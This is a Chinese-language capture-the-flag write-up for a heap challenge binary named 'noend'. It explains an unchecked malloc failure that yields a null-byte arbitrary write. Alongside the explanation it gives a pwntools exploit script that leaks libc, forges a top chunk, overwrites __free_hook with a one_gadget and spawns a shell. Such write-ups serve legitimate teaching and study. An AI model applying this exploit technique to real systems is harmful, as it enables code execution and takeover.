保护措施:
| 12
 3
 4
 5
 
 | Arch:     amd64-64-littleRELRO:    Full RELRO
 Stack:    No canary found
 NX:       NX enabled
 PIE:      PIE enabled
 
 | 
使用IDA查看程序,发现此题所存在的漏洞。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | while ( 1 ){
 do
 {
 memset(&s, 0, 0x20uLL);
 read(0, &s, 0x1FuLL);
 size = strtoll(&s, 0LL, 10);
 buf = malloc(size);
 read(0, buf, size);
 *((_BYTE *)buf + size - 1) = 0;
 write(1, buf, (unsigned __int16)size);
 write(1, &unk_B54, 1uLL);
 }
 while ( size > 127 );
 free(buf);
 }
 
 | 
在进行malloc时,并未检查是否malloc成功,malloc失败会返回0,导致后续存在任意地址写\x00的漏洞。首先需要泄漏libc的地址。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | def sar(p, size, content):p.sendline(str(size))
 sleep(0.3)
 p.send(content)
 sleep(0.3)
 p.recvuntil(content)
 
 def pwn():
 p = process('./noend')
 one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
 context.update(log_level='debug')
 sar(p, 0x20, 'sunichi')
 sar(p, 0x30, 'sunichi')
 sar(p, 0x7f, 'sunichi')
 sar(p, 0x20, 'A' * 8)
 recv = p.recvuntil('\n', drop=True)
 main_arena_addr = u64(recv[0:8])
 libc_base_addr = main_arena_addr - 0x3c4b78
 
 free_hook = libc_base_addr + 0x3c67a8
 
 | 
根据free时,chunk合并的特性,能够使最后top chunk的fd和bk指向main_arena。malloc(0x20)后,其中的信息并不会清空,导致libc地址泄漏。
| 12
 3
 
 | p.sendline(str(main_arena_addr))sleep(0.3)
 p.clean()
 
 | 
申请一个非常大的chunk,使libc重新申请arena。使用前述同样的方法泄漏地址。
| 12
 3
 4
 5
 6
 7
 
 | sar(p, 0x20, 'sunichi')sar(p, 0x30, 'sunichi')
 sar(p, 0x7f, 'sunichi')
 sar(p, 0x20, 'A' * 8)
 recv = p.recvuntil('\n', drop=True)[0:8]
 top_chunk_ptr = u64(recv)
 top_chunk = u64(recv) + 0x888
 
 | 
泄漏的地址指向top chunk,在这使用硬编码计算伪造的top chunk与泄漏的地址的偏移。(本地没问题,不知道remote会不会有问题,等端午放完假再问问师傅)
| 12
 3
 4
 5
 
 | sar(p, 0xf0, p64(libc_base_addr + one_gadget[3] + (free_hook - top_chunk - 0x10)) * (0xe8 / 8))p.sendline(str(top_chunk_ptr + 1))
 sleep(0.3)
 p.sendline()
 sleep(0.3)
 
 | 
接着对申请的chunk进行填充,填充的值为one_gadget_addr + (free_hook_addr - top_chunk_addr - 0x10)。继续申请一个很大的chunk,此时libc不会再有新的arena了,而是申请失败返回0,导致任意地址写入\x00。在这我们向指向top chunk的地址末位写入\x00,导致top chunk指针向前移动,指向了我们之前申请的chunk的content部分。此时,伪造top chunk完成。
| 12
 3
 4
 
 | p.sendline(str(free_hook - top_chunk - 0x10))sleep(0.3)
 p.sendline()
 sleep(0.3)
 
 | 
malloc(free_hook - top_chunk - 0x10),使得top chunk的size变为one_gadget_addr。同时top chunk的地址变为top_chunk_addr + free_hook - top_chunk - 0x10 = free_hook - 0x10,free_hook处被填入one_gadget_addr。随后获取shell。(注意地址对齐的问题)
| 12
 3
 
 | sar(p, 0x10, 'pwn')p.interactive()
 p.close()
 
 |